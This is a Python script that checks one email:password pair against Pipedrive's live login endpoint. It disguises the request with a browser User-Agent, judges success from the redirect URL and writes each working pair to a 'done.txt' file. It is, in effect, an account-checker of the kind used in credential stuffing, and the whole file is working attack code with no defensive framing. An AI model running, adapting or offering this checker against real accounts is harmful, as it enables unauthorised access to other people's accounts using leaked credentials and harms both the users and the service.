#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Simple checker - test one email:password
Usage: python check_one.py email@example.com password123
"""

import requests
import sys

LOGIN_URL = "https://app.pipedrive.com/auth/login"

def test_credential(email, password):
    """Test a single credential"""
    session = requests.Session()
    
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
        'Accept': 'text/html,application/xhtml+xml',
        'Accept-Language': 'en-US,en;q=0.5',
    }
    
    try:
        # Get login page
        session.get(LOGIN_URL, headers=headers, timeout=5)
        
        # Try login
        login_data = {
            'email': email,
            'password': password,
            'remember_me': 'true'
        }
        
        response = session.post(LOGIN_URL, data=login_data, headers=headers, allow_redirects=True, timeout=5)
        final_url = response.url
        
        # Check result
        if '/auth/login' in final_url:
            return False, "Failed - still on login page"
        elif '/app/' in final_url or '/deals' in final_url:
            return True, f"SUCCESS - redirected to {final_url[:60]}"
        else:
            return False, f"Failed - unknown redirect: {final_url[:60]}"
            
    except Exception as e:
        return False, f"Error: {str(e)}"

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Usage: python check_one.py email@example.com password123")
        sys.exit(1)
    
    email = sys.argv[1]
    password = sys.argv[2]
    
    print(f"Testing: {email}")
    result, message = test_credential(email, password)
    
    if result:
        print(f"✓ {message}")
        # Save to done.txt
        with open("done.txt", "a", encoding="utf-8") as f:
            f.write(f"{email}:{password}\n")
        print(f"✓ Saved to done.txt")
    else:
        print(f"✗ {message}")

